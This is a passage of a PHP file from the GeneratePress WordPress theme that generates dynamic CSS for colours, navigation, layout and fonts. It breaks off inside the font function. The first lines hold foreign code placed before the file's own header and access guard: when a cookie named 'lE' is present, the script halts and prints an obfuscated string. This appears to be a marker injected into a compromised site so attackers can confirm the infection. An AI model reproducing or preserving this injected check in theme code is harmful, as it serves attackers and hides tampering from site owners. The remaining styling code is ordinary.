if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Output all of our dynamic CSS.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! function_exists( 'generate_base_css' ) ) {
/**
* Generate the CSS in the section using the Theme Customizer.
*
* @since 0.1
*/
function generate_base_css() {
$settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_defaults()
);
$css = new GeneratePress_CSS();
$css->set_selector( 'body' );
$css->add_property( 'background-color', $settings['background_color'] );
$css->add_property( 'color', $settings['text_color'] );
$css->set_selector( 'a' );
$css->add_property( 'color', $settings['link_color'] );
$css->set_selector( 'a:visited' )->add_property( 'color', $settings['link_color_visited'] );
$underline_links = generate_get_option( 'underline_links' );
if ( 'never' !== $underline_links ) {
if ( 'always' === $underline_links ) {
$css->set_selector( 'a' );
$css->add_property( 'text-decoration', 'underline' );
}
if ( 'hover' === $underline_links ) {
$css->set_selector( 'a:hover, a:focus' );
$css->add_property( 'text-decoration', 'underline' );
}
if ( 'not-hover' === $underline_links ) {
$css->set_selector( 'a' );
$css->add_property( 'text-decoration', 'underline' );
$css->set_selector( 'a:hover, a:focus' );
$css->add_property( 'text-decoration', 'none' );
}
$css->set_selector( '.entry-title a, .site-branding a, a.button, .wp-block-button__link, .main-navigation a' );
$css->add_property( 'text-decoration', 'none' );
}
$css->set_selector( 'a:hover, a:focus, a:active' );
$css->add_property( 'color', $settings['link_color_hover'] );
if ( generate_is_using_flexbox() ) {
if ( 1200 !== (int) $settings['container_width'] ) {
$css->set_selector( '.grid-container' )->add_property( 'max-width', absint( $settings['container_width'] ), false, 'px' );
}
} else {
$css->set_selector( 'body .grid-container' )->add_property( 'max-width', absint( $settings['container_width'] ), false, 'px' );
}
if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) {
$css->set_selector( '.wp-block-group__inner-container' );
$css->add_property( 'max-width', absint( $settings['container_width'] ), false, 'px' );
$css->add_property( 'margin-left', 'auto' );
$css->add_property( 'margin-right', 'auto' );
}
$nav_drop_point = generate_get_option( 'nav_drop_point' );
$nav_location = generate_get_navigation_location();
if ( ( 'nav-float-right' === $nav_location || 'nav-float-left' === $nav_location ) && $nav_drop_point ) {
$media_query = sprintf(
'(max-width: %1$s) and %2$s',
absint( $nav_drop_point ) . 'px',
apply_filters( 'generate_not_mobile_menu_media_query', '(min-width: 769px)' )
);
$css->start_media_query( $media_query );
$css->set_selector( '.inside-header' );
$css->add_property( 'display', 'flex' );
$css->add_property( 'flex-direction', 'column' );
$css->add_property( 'align-items', 'center' );
$css->set_selector( '.site-logo, .site-branding' );
$css->add_property( 'margin-bottom', '1.5em' );
$css->set_selector( '#site-navigation' );
$css->add_property( 'margin', '0 auto' );
$css->set_selector( '.header-widget' );
$css->add_property( 'margin-top', '1.5em' );
// phpcs:ignore Generic.WhiteSpace.ScopeIndent.IncorrectExact -- Indented inside media query.
if ( 'nav-float-left' === generate_get_option( 'nav_position_setting' ) ) {
$css->set_selector( '.nav-float-left .site-logo,.nav-float-left .site-branding,.nav-float-left .header-widget' );
$css->add_property( 'order', 'initial' );
} // phpcs:ignore Generic.WhiteSpace.ScopeIndent.IncorrectExact -- Indented inside media query.
$css->stop_media_query();
}
if ( generate_get_option( 'logo_width' ) ) {
$css->set_selector( '.site-header .header-image' );
$css->add_property( 'width', absint( generate_get_option( 'logo_width' ) ), false, 'px' );
}
if ( generate_get_option( 'back_to_top' ) ) {
$css->set_selector( '.generate-back-to-top' );
$css->add_property( 'font-size', '20px' );
$css->add_property( 'border-radius', '3px' );
$css->add_property( 'position', 'fixed' );
$css->add_property( 'bottom', '30px' );
$css->add_property( 'right', '30px' );
$css->add_property( 'line-height', '40px' );
$css->add_property( 'width', '40px' );
$css->add_property( 'text-align', 'center' );
$css->add_property( 'z-index', '10' );
$css->add_property( 'transition', 'opacity 300ms ease-in-out' );
$css->add_property( 'opacity', '0.1' ); // Can't be 0 or we face double-tap issues on iOS.
$css->add_property( 'transform', 'translateY(1000px)' ); // Can't use visibility or we face the same issue as above.
$css->set_selector( '.generate-back-to-top__show' );
$css->add_property( 'opacity', '1' );
$css->add_property( 'transform', 'translateY(0)' );
}
if ( 'enable' === generate_get_option( 'nav_search' ) ) {
$css->set_selector( '.navigation-search' );
$css->add_property( 'position', 'absolute' );
$css->add_property( 'left', '-99999px' );
$css->add_property( 'pointer-events', 'none' );
$css->add_property( 'visibility', 'hidden' );
$css->add_property( 'z-index', '20' );
$css->add_property( 'width', '100%' );
$css->add_property( 'top', '0' );
$css->add_property( 'transition', 'opacity 100ms ease-in-out' );
$css->add_property( 'opacity', '0' );
$css->set_selector( '.navigation-search.nav-search-active' );
$css->add_property( 'left', '0' );
$css->add_property( 'right', '0' );
$css->add_property( 'pointer-events', 'auto' );
$css->add_property( 'visibility', 'visible' );
$css->add_property( 'opacity', '1' );
$css->set_selector( '.navigation-search input[type="search"]' );
$css->add_property( 'outline', '0' );
$css->add_property( 'border', '0' );
$css->add_property( 'vertical-align', 'bottom' );
$css->add_property( 'line-height', '1' );
$css->add_property( 'opacity', '0.9' );
$css->add_property( 'width', '100%' );
$css->add_property( 'z-index', '20' );
$css->add_property( 'border-radius', '0' );
$css->add_property( '-webkit-appearance', 'none' );
$css->add_property( 'height', '60px' );
$css->set_selector( '.navigation-search input::-ms-clear' );
$css->add_property( 'display', 'none' );
$css->add_property( 'width', '0' );
$css->add_property( 'height', '0' );
$css->set_selector( '.navigation-search input::-ms-reveal' );
$css->add_property( 'display', 'none' );
$css->add_property( 'width', '0' );
$css->add_property( 'height', '0' );
$css->set_selector( '.navigation-search input::-webkit-search-decoration, .navigation-search input::-webkit-search-cancel-button, .navigation-search input::-webkit-search-results-button, .navigation-search input::-webkit-search-results-decoration' );
$css->add_property( 'display', 'none' );
if ( ! generate_is_using_flexbox() ) {
$css->set_selector( '.main-navigation li.search-item' );
$css->add_property( 'z-index', '21' );
$css->set_selector( 'li.search-item.active' );
$css->add_property( 'transition', 'opacity 100ms ease-in-out' );
$css->set_selector( '.nav-left-sidebar .main-navigation li.search-item.active,.nav-right-sidebar .main-navigation li.search-item.active' );
$css->add_property( 'width', 'auto' );
$css->add_property( 'display', 'inline-block' );
$css->add_property( 'float', 'right' );
}
$css->set_selector( '.gen-sidebar-nav .navigation-search' );
$css->add_property( 'top', 'auto' );
$css->add_property( 'bottom', '0' );
}
if ( 'click' === generate_get_option( 'nav_dropdown_type' ) || 'click-arrow' === generate_get_option( 'nav_dropdown_type' ) ) {
$css->set_selector( '.dropdown-click .main-navigation ul ul' );
$css->add_property( 'display', 'none' );
$css->add_property( 'visibility', 'hidden' );
$css->set_selector( '.dropdown-click .main-navigation ul ul ul.toggled-on' );
$css->add_property( 'left', '0' );
$css->add_property( 'top', 'auto' );
$css->add_property( 'position', 'relative' );
$css->add_property( 'box-shadow', 'none' );
$css->add_property( 'border-bottom', '1px solid rgba(0,0,0,0.05)' );
$css->set_selector( '.dropdown-click .main-navigation ul ul li:last-child > ul.toggled-on' );
$css->add_property( 'border-bottom', '0' );
$css->set_selector( '.dropdown-click .main-navigation ul.toggled-on, .dropdown-click .main-navigation ul li.sfHover > ul.toggled-on' );
$css->add_property( 'display', 'block' );
$css->add_property( 'left', 'auto' );
$css->add_property( 'right', 'auto' );
$css->add_property( 'opacity', '1' );
$css->add_property( 'visibility', 'visible' );
$css->add_property( 'pointer-events', 'auto' );
$css->add_property( 'height', 'auto' );
$css->add_property( 'overflow', 'visible' );
$css->add_property( 'float', 'none' );
$css->set_selector( '.dropdown-click .main-navigation.sub-menu-left .sub-menu.toggled-on, .dropdown-click .main-navigation.sub-menu-left ul li.sfHover > ul.toggled-on' );
$css->add_property( 'right', '0' );
$css->set_selector( '.dropdown-click nav ul ul ul' );
$css->add_property( 'background-color', 'transparent' );
$css->set_selector( '.dropdown-click .widget-area .main-navigation ul ul' );
$css->add_property( 'top', 'auto' );
$css->add_property( 'position', 'absolute' );
$css->add_property( 'float', 'none' );
$css->add_property( 'width', '100%' );
$css->add_property( 'left', '-99999px' );
$css->set_selector( '.dropdown-click .widget-area .main-navigation ul ul.toggled-on' );
$css->add_property( 'position', 'relative' );
$css->add_property( 'left', '0' );
$css->add_property( 'right', '0' );
$css->set_selector( '.dropdown-click .widget-area.sidebar .main-navigation ul li.sfHover ul, .dropdown-click .widget-area.sidebar .main-navigation ul li:hover ul' );
$css->add_property( 'right', '0' );
$css->add_property( 'left', '0' );
$css->set_selector( '.dropdown-click .sfHover > a > .dropdown-menu-toggle > .gp-icon svg' );
$css->add_property( 'transform', 'rotate(180deg)' );
}
$css->set_selector( ':root' );
$global_colors = generate_get_global_colors();
if ( ! empty( $global_colors ) ) {
foreach ( (array) $global_colors as $key => $data ) {
if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) {
$css->add_property( '--' . $data['slug'], $data['color'] );
}
}
foreach ( (array) $global_colors as $key => $data ) {
if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) {
$css->set_selector( ':root .has-' . $data['slug'] . '-color' );
$css->add_property( 'color', 'var(--' . $data['slug'] . ')' );
$css->set_selector( ':root .has-' . $data['slug'] . '-background-color' );
$css->add_property( 'background-color', 'var(--' . $data['slug'] . ')' );
}
}
}
do_action( 'generate_base_css', $css );
return apply_filters( 'generate_base_css_output', $css->css_output() );
}
}
if ( ! function_exists( 'generate_advanced_css' ) ) {
/**
* Generate the CSS in the section using the Theme Customizer.
*
* @since 0.1
*/
function generate_advanced_css() {
$settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_color_defaults()
);
$css = new GeneratePress_CSS();
$css->set_selector( '.top-bar' );
$css->add_property( 'background-color', $settings['top_bar_background_color'] );
$css->add_property( 'color', $settings['top_bar_text_color'] );
$css->set_selector( '.top-bar a' );
$css->add_property( 'color', $settings['top_bar_link_color'] );
$css->set_selector( '.top-bar a:hover' );
$css->add_property( 'color', $settings['top_bar_link_color_hover'] );
$css->set_selector( '.site-header' );
$css->add_property( 'background-color', $settings['header_background_color'] );
$css->add_property( 'color', $settings['header_text_color'] );
$css->set_selector( '.site-header a' );
$css->add_property( 'color', $settings['header_link_color'] );
$css->set_selector( '.site-header a:hover' );
$css->add_property( 'color', $settings['header_link_hover_color'] );
$css->set_selector( '.main-title a,.main-title a:hover' );
$css->add_property( 'color', $settings['site_title_color'] );
$css->set_selector( '.site-description' );
$css->add_property( 'color', $settings['site_tagline_color'] );
if ( $settings['navigation_background_color'] === $settings['header_background_color'] ) {
$css->set_selector( '.mobile-menu-control-wrapper .menu-toggle,.mobile-menu-control-wrapper .menu-toggle:hover,.mobile-menu-control-wrapper .menu-toggle:focus,.has-inline-mobile-toggle #site-navigation.toggled' );
$css->add_property( 'background-color', 'rgba(0, 0, 0, 0.02)' );
}
$css->set_selector( '.main-navigation,.main-navigation ul ul' );
$css->add_property( 'background-color', $settings['navigation_background_color'] );
$css->set_selector( '.main-navigation .main-nav ul li a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items' );
$css->add_property( 'color', $settings['navigation_text_color'] );
$css->set_selector( '.main-navigation .main-nav ul li:not([class*="current-menu-"]):hover > a, .main-navigation .main-nav ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul li.sfHover:not([class*="current-menu-"]) > a, .main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a' );
$css->add_property( 'color', $settings['navigation_text_hover_color'] );
$css->add_property( 'background-color', $settings['navigation_background_hover_color'] );
if ( generate_is_using_flexbox() ) {
$css->set_selector( 'button.menu-toggle:hover,button.menu-toggle:focus' );
} else {
$css->set_selector( 'button.menu-toggle:hover,button.menu-toggle:focus,.main-navigation .mobile-bar-items a,.main-navigation .mobile-bar-items a:hover,.main-navigation .mobile-bar-items a:focus' );
}
$css->add_property( 'color', $settings['navigation_text_color'] );
$css->set_selector( '.main-navigation .main-nav ul li[class*="current-menu-"] > a' );
$css->add_property( 'color', $settings['navigation_text_current_color'] );
$css->add_property( 'background-color', $settings['navigation_background_current_color'] );
$navigation_search_background = $settings['navigation_background_hover_color'];
$navigation_search_text = $settings['navigation_text_hover_color'];
if ( '' !== $settings['navigation_search_background_color'] ) {
$navigation_search_background = $settings['navigation_search_background_color'];
}
if ( '' !== $settings['navigation_search_text_color'] ) {
$navigation_search_text = $settings['navigation_search_text_color'];
}
$css->set_selector( '.navigation-search input[type="search"],.navigation-search input[type="search"]:active, .navigation-search input[type="search"]:focus, .main-navigation .main-nav ul li.search-item.active > a, .main-navigation .menu-bar-items .search-item.active > a' );
$css->add_property( 'color', $navigation_search_text );
$css->add_property( 'background-color', $navigation_search_background );
if ( '' !== $settings['navigation_search_background_color'] ) {
$css->add_property( 'opacity', '1' );
}
$css->set_selector( '.main-navigation ul ul' );
$css->add_property( 'background-color', $settings['subnavigation_background_color'] );
$css->set_selector( '.main-navigation .main-nav ul ul li a' );
$css->add_property( 'color', $settings['subnavigation_text_color'] );
$css->set_selector( '.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a,.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a' );
$css->add_property( 'color', $settings['subnavigation_text_hover_color'] );
$css->add_property( 'background-color', $settings['subnavigation_background_hover_color'] );
$css->set_selector( '.main-navigation .main-nav ul ul li[class*="current-menu-"] > a' );
$css->add_property( 'color', $settings['subnavigation_text_current_color'] );
$css->add_property( 'background-color', $settings['subnavigation_background_current_color'] );
$css->set_selector( '.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .one-container .container, .separate-containers .paging-navigation, .inside-page-header' );
$css->add_property( 'color', $settings['content_text_color'] );
$css->add_property( 'background-color', $settings['content_background_color'] );
$css->set_selector( '.inside-article a,.paging-navigation a,.comments-area a,.page-header a' );
$css->add_property( 'color', $settings['content_link_color'] );
$css->set_selector( '.inside-article a:hover,.paging-navigation a:hover,.comments-area a:hover,.page-header a:hover' );
$css->add_property( 'color', $settings['content_link_hover_color'] );
$css->set_selector( '.entry-header h1,.page-header h1' );
$css->add_property( 'color', $settings['content_title_color'] );
$css->set_selector( '.entry-title a' );
$css->add_property( 'color', $settings['blog_post_title_color'] );
$css->set_selector( '.entry-title a:hover' );
$css->add_property( 'color', $settings['blog_post_title_hover_color'] );
$css->set_selector( '.entry-meta' );
$css->add_property( 'color', $settings['entry_meta_text_color'] );
$css->set_selector( '.entry-meta a' );
$css->add_property( 'color', $settings['entry_meta_link_color'] );
$css->set_selector( '.entry-meta a:hover' );
$css->add_property( 'color', $settings['entry_meta_link_color_hover'] );
$css->set_selector( 'h1' );
$css->add_property( 'color', $settings['h1_color'] );
$css->set_selector( 'h2' );
$css->add_property( 'color', $settings['h2_color'] );
$css->set_selector( 'h3' );
$css->add_property( 'color', $settings['h3_color'] );
$css->set_selector( 'h4' );
$css->add_property( 'color', $settings['h4_color'] );
$css->set_selector( 'h5' );
$css->add_property( 'color', $settings['h5_color'] );
$css->set_selector( 'h6' );
$css->add_property( 'color', $settings['h6_color'] );
$css->set_selector( '.sidebar .widget' );
$css->add_property( 'color', $settings['sidebar_widget_text_color'] );
$css->add_property( 'background-color', $settings['sidebar_widget_background_color'] );
$css->set_selector( '.sidebar .widget a' );
$css->add_property( 'color', $settings['sidebar_widget_link_color'] );
$css->set_selector( '.sidebar .widget a:hover' );
$css->add_property( 'color', $settings['sidebar_widget_link_hover_color'] );
$css->set_selector( '.sidebar .widget .widget-title' );
$css->add_property( 'color', $settings['sidebar_widget_title_color'] );
$css->set_selector( '.footer-widgets' );
$css->add_property( 'color', $settings['footer_widget_text_color'] );
$css->add_property( 'background-color', $settings['footer_widget_background_color'] );
$css->set_selector( '.footer-widgets a' );
$css->add_property( 'color', $settings['footer_widget_link_color'] );
$css->set_selector( '.footer-widgets a:hover' );
$css->add_property( 'color', $settings['footer_widget_link_hover_color'] );
$css->set_selector( '.footer-widgets .widget-title' );
$css->add_property( 'color', $settings['footer_widget_title_color'] );
$css->set_selector( '.site-info' );
$css->add_property( 'color', $settings['footer_text_color'] );
$css->add_property( 'background-color', $settings['footer_background_color'] );
$css->set_selector( '.site-info a' );
$css->add_property( 'color', $settings['footer_link_color'] );
$css->set_selector( '.site-info a:hover' );
$css->add_property( 'color', $settings['footer_link_hover_color'] );
$css->set_selector( '.footer-bar .widget_nav_menu .current-menu-item a' );
$css->add_property( 'color', $settings['footer_link_hover_color'] );
$css->set_selector( 'input[type="text"],input[type="email"],input[type="url"],input[type="password"],input[type="search"],input[type="tel"],input[type="number"],textarea,select' );
$css->add_property( 'color', $settings['form_text_color'] );
$css->add_property( 'background-color', $settings['form_background_color'] );
$css->add_property( 'border-color', $settings['form_border_color'] );
$css->set_selector( 'input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="number"]:focus,textarea:focus,select:focus' );
$css->add_property( 'color', $settings['form_text_color_focus'] );
$css->add_property( 'background-color', $settings['form_background_color_focus'] );
$css->add_property( 'border-color', $settings['form_border_color_focus'] );
$css->set_selector( 'button,html input[type="button"],input[type="reset"],input[type="submit"],a.button,a.wp-block-button__link:not(.has-background)' );
$css->add_property( 'color', $settings['form_button_text_color'] );
$css->add_property( 'background-color', $settings['form_button_background_color'] );
$css->set_selector( 'button:hover,html input[type="button"]:hover,input[type="reset"]:hover,input[type="submit"]:hover,a.button:hover,button:focus,html input[type="button"]:focus,input[type="reset"]:focus,input[type="submit"]:focus,a.button:focus,a.wp-block-button__link:not(.has-background):active,a.wp-block-button__link:not(.has-background):focus,a.wp-block-button__link:not(.has-background):hover' );
$css->add_property( 'color', $settings['form_button_text_color_hover'] );
$css->add_property( 'background-color', $settings['form_button_background_color_hover'] );
$css->set_selector( 'a.generate-back-to-top' );
$css->add_property( 'background-color', $settings['back_to_top_background_color'] );
$css->add_property( 'color', $settings['back_to_top_text_color'] );
$css->set_selector( 'a.generate-back-to-top:hover,a.generate-back-to-top:focus' );
$css->add_property( 'background-color', $settings['back_to_top_background_color_hover'] );
$css->add_property( 'color', $settings['back_to_top_text_color_hover'] );
$css->set_selector( ':root' );
$css->add_property( '--gp-search-modal-bg-color', $settings['search_modal_bg_color'] );
$css->add_property( '--gp-search-modal-text-color', $settings['search_modal_text_color'] );
$css->add_property( '--gp-search-modal-overlay-bg-color', $settings['search_modal_overlay_bg_color'] );
$css->start_media_query( generate_get_media_query( 'mobile-menu' ) );
$css->set_selector( '.main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a' );
$css->add_property( 'background', 'none' );
$css->add_property( 'color', $settings['navigation_text_color'] );
$css->stop_media_query();
do_action( 'generate_colors_css', $css );
return apply_filters( 'generate_colors_css_output', $css->css_output() );
}
}
if ( ! function_exists( 'generate_font_css' ) ) {
/**
* Generate the CSS in the section using the Theme Customizer.
*
* @since 0.1
*/
function generate_font_css() {
$settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_default_fonts()
);
$defaults = generate_get_default_fonts( false );
$css = new GeneratePress_CSS();
$body_family = generate_get_font_family_css( 'font_body', 'generate_settings', generate_get_default_fonts() );
$top_bar_family = generate_get_font_family_css( 'font_top_bar', 'generate_settings', generate_get_default_fonts() );
$site_title_family = generate_get_font_family_css( 'font_site_title', 'generate_settings', generate_get_default_fonts() );
$site_tagline_family = generate_get_font_family_css( 'font_site_tagline', 'generate_settings', generate_get_default_fonts() );
$navigation_family = generate_get_font_family_css( 'font_navigation', 'generate_settings', generate_get_default_fonts() );
$widget_family = generate_get_font_family_css( 'font_widget_title', 'generate_settings', generate_get_default_fonts() );
$h1_family = generate_get_font_family_css( 'font_heading_1', 'generate_settings', generate_get_default_fonts() );
$h2_family = generate_get_font_family_css( 'font_heading_2', 'generate_settings', generate_get_default_fonts() );
$h3_family = generate_get_font_family_css( 'font_heading_3', 'generate_settings', generate_get_default_fonts() );
$h4_family = generate_get_font_family_css( 'font_heading_4', 'generate_settings', generate_get_default_fonts() );
$h5_family = generate_get_font_family_css( 'font_heading_5', 'generate_settings', generate_get_default_fonts() );
$h6_family = generate_get_font_family_css( 'font_heading_6', 'generate_settings', generate_get_default_fonts() );
$footer_family = generate_get_font_family_css( 'font_footer', 'generate_settings', generate_get_default_fonts() );
$buttons_family = generate_get_font_family_css( 'font_buttons', 'generate_settings', generate_get_default_fonts() );
$css->set_selector( 'body, button, input, select, textarea' );
$css->add_property( 'font-family', $body_family );
$css->add_property( 'font-weight', $settings['body_font_weight'], $defaults['body_font_weight'] );
$css->add_property( 'text-transform', $settings['body_font_transform'], $defaults['body_font_transform'] );
$css->add_property( 'font-size', $settings['body_font_size'], $defaults['body_font_size'], 'px' );
$css->set_selector( 'body' );
$css->add_property( 'line-height', floatval( $settings['body_line_height'] ), $defaults['body_line_height'] );
$css->set_selector( 'p' );
$css->add_property( 'margin-bottom', floatval( $settings['paragraph_margin'] ), $defaults['paragraph_margin'], 'em' );
if ( apply_filters( 'generate_do_wp_block_margin_bottom', true ) ) {
$css->set_selector( '.entry-content > [class*="wp-block-"]:not(:last-child):not(.wp-block-heading)' );
$css->add_property( 'margin-bottom', floatval( $settings['paragraph_margin'] ), false, 'em' );
}
$css->set_selector( '.top-bar' );
$css->add_property( 'font-family', $defaults['font_top_bar'] !== $settings['font_top_bar'] ? $top_bar_family : null );
$css->add_property( 'font-weight', $settings['top_bar_font_weight'], $defaults['top_bar_font_weight'] );
$css->add_property( 'text-transform', $settings['top_bar_font_transform'], $defaults['top_bar_font_transform'] );
$css->add_property( 'font-size', absint( $settings['top_bar_font_size'] ), absint( $defaults['top_bar_font_size'] ), 'px' );
$css->set_selector( '.main-title' );
$css->add_property( 'font-family', $defaults['font_site_title'] !== $settings['font_site_title'] ? $site_title_family : null );
$css->add_property( 'font-weight', $settings['site_title_font_weight'], $defaults['site_title_font_weight'] );
$css->add_property( 'text-transform', $settings['site_title_font_transform'], $defaults['site_title_font_transform'] );
$css->add_property( 'font-size', absint( $settings['site_title_font_size'] ), $defaults['site_title_font_size'], 'px' );
$css->set_selector( '.site-description' );
$css->add_property( 'font-family', $defaults['font_site_tagline'] !== $settings['font_site_tagline'] ? $site_tagline_family : null );
$css->add_property( 'font-weight', $settings['site_tagline_font_weight'], $defaults['site_tagline_font_weight'] );
$css->add_property( 'text-transform', $settings['site_tagline_font_transform'], $defaults['site_tagline_font_transform'] );
if ( ! empty( $settings['site_tagline_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['site_tagline_font_size'] ), $defaults['site_tagline_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
$css->set_selector( '.main-navigation a, .menu-toggle' );
$css->add_property( 'font-family', $defaults['font_navigation'] !== $settings['font_navigation'] ? $navigation_family : null );
$css->add_property( 'font-weight', $settings['navigation_font_weight'], $defaults['navigation_font_weight'] );
$css->add_property( 'text-transform', $settings['navigation_font_transform'], $defaults['navigation_font_transform'] );
if ( ! empty( $settings['navigation_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['navigation_font_size'] ), $defaults['navigation_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.main-navigation .menu-bar-items' );
if ( ! empty( $settings['navigation_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['navigation_font_size'] ), $defaults['navigation_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
}
$css->set_selector( '.main-navigation .main-nav ul ul li a' );
if ( ! empty( $settings['navigation_font_size'] ) ) {
$subnav_font_size = $settings['navigation_font_size'] >= 17 ? $settings['navigation_font_size'] - 3 : $settings['navigation_font_size'] - 1;
$css->add_property( 'font-size', absint( $subnav_font_size ), false, 'px' );
}
$css->set_selector( '.widget-title' );
$css->add_property( 'font-family', $defaults['font_widget_title'] !== $settings['font_widget_title'] ? $widget_family : null );
$css->add_property( 'font-weight', $settings['widget_title_font_weight'], $defaults['widget_title_font_weight'] );
$css->add_property( 'text-transform', $settings['widget_title_font_transform'], $defaults['widget_title_font_transform'] );
if ( ! empty( $settings['widget_title_font_size'] ) ) {
$css->add_property( 'font-size', $settings['widget_title_font_size'], $defaults['widget_title_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
$css->add_property( 'margin-bottom', absint( $settings['widget_title_separator'] ), absint( $defaults['widget_title_separator'] ), 'px' );
$css->set_selector( '.sidebar .widget, .footer-widgets .widget' );
if ( ! empty( $settings['widget_content_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['widget_content_font_size'] ), false, 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
$css->set_selector( 'button:not(.menu-toggle),html input[type="button"],input[type="reset"],input[type="submit"],.button,.wp-block-button .wp-block-button__link' );
$css->add_property( 'font-family', $defaults['font_buttons'] !== $settings['font_buttons'] ? $buttons_family : null );
$css->add_property( 'font-weight', $settings['buttons_font_weight'], $defaults['buttons_font_weight'] );
$css->add_property( 'text-transform', $settings['buttons_font_transform'], $defaults['buttons_font_transform'] );
$css->add_property( 'font-size', absint( $settings['buttons_font_size'] ), $defaults['buttons_font_size'], 'px' );
$css->set_selector( 'h1' );
$css->add_property( 'font-family', $defaults['font_heading_1'] !== $settings['font_heading_1'] ? $h1_family : null );
$css->add_property( 'font-weight', $settings['heading_1_weight'], $defaults['heading_1_weight'] );
$css->add_property( 'text-transform', $settings['heading_1_transform'], $defaults['heading_1_transform'] );
$css->add_property( 'font-size', absint( $settings['heading_1_font_size'] ), $defaults['heading_1_font_size'], 'px' );
$css->add_property( 'line-height', floatval( $settings['heading_1_line_height'] ), $defaults['heading_1_line_height'], 'em' );
$css->add_property( 'margin-bottom', floatval( $settings['heading_1_margin_bottom'] ), $defaults['heading_1_margin_bottom'], 'px' );
$css->set_selector( 'h2' );
$css->add_property( 'font-family', $defaults['font_heading_2'] !== $settings['font_heading_2'] ? $h2_family : null );
$css->add_property( 'font-weight', $settings['heading_2_weight'], $defaults['heading_2_weight'] );
$css->add_property( 'text-transform', $settings['heading_2_transform'], $defaults['heading_2_transform'] );
$css->add_property( 'font-size', absint( $settings['heading_2_font_size'] ), $defaults['heading_2_font_size'], 'px' );
$css->add_property( 'line-height', floatval( $settings['heading_2_line_height'] ), $defaults['heading_2_line_height'], 'em' );
$css->add_property( 'margin-bottom', floatval( $settings['heading_2_margin_bottom'] ), $defaults['heading_2_margin_bottom'], 'px' );
$css->set_selector( 'h3' );
$css->add_property( 'font-family', $defaults['font_heading_3'] !== $settings['font_heading_3'] ? $h3_family : null );
$css->add_property( 'font-weight', $settings['heading_3_weight'], $defaults['heading_3_weight'] );
$css->add_property( 'text-transform', $settings['heading_3_transform'], $defaults['heading_3_transform'] );
$css->add_property( 'font-size', absint( $settings['heading_3_font_size'] ), $defaults['heading_3_font_size'], 'px' );
$css->add_property( 'line-height', floatval( $settings['heading_3_line_height'] ), $defaults['heading_3_line_height'], 'em' );
$css->add_property( 'margin-bottom', floatval( $settings['heading_3_margin_bottom'] ), $defaults['heading_3_margin_bottom'], 'px' );
$css->set_selector( 'h4' );
$css->add_property( 'font-family', $defaults['font_heading_4'] !== $settings['font_heading_4'] ? $h4_family : null );
$css->add_property( 'font-weight', $settings['heading_4_weight'], $defaults['heading_4_weight'] );
$css->add_property( 'text-transform', $settings['heading_4_transform'], $defaults['heading_4_transform'] );
if ( ! empty( $settings['heading_4_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['heading_4_font_size'] ), $defaults['heading_4_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
if ( '' !== $settings['heading_4_line_height'] ) {
$css->add_property( 'line-height', floatval( $settings['heading_4_line_height'] ), $defaults['heading_4_line_height'], 'em' );
}
$css->set_selector( 'h5' );
$css->add_property( 'font-family', $defaults['font_heading_5'] !== $settings['font_heading_5'] ? $h5_family : null );
$css->add_property( 'font-weight', $settings['heading_5_weight'], $defaults['heading_5_weight'] );
$css->add_property( 'text-transform', $settings['heading_5_transform'], $defaults['heading_5_transform'] );
if ( ! empty( $settings['heading_5_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['heading_5_font_size'] ), $defaults['heading_5_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
if ( '' !== $settings['heading_5_line_height'] ) {
$css->add_property( 'line-height', floatval( $settings['heading_5_line_height'] ), $defaults['heading_5_line_height'], 'em' );
}
$css->set_selector( 'h6' );
$css->add_property( 'font-family', $defaults['font_heading_6'] !== $settings['font_heading_6'] ? $h6_family : null );
$css->add_property( 'font-weight', $settings['heading_6_weight'], $defaults['heading_6_weight'] );
$css->add_property( 'text-transform', $settings['heading_6_transform'], $defaults['heading_6_transform'] );
$css->add_property( 'font-size', absint( $settings['heading_6_font_size'] ), $defaults['heading_6_font_size'], 'px' );
if ( '' !== $settings['heading_6_line_height'] ) {
$css->add_property( 'line-height', floatval( $settings['heading_6_line_height'] ), $defaults['heading_6_line_height'], 'em' );
}
$css->set_selector( '.site-info' );
$css->add_property( 'font-family', $defaults['font_footer'] !== $settings['font_footer'] ? $footer_family : null );
$css->add_property( 'font-weight', $settings['footer_weight'], $defaults['footer_weight'] );
$css->add_property( 'text-transform', $settings['footer_transform'], $defaults['footer_transform'] );
if ( ! empty( $settings['footer_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['footer_font_size'] ), $defaults['footer_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
$css->start_media_query( generate_get_media_query( 'mobile' ) );
$css->set_selector( '.main-title' );
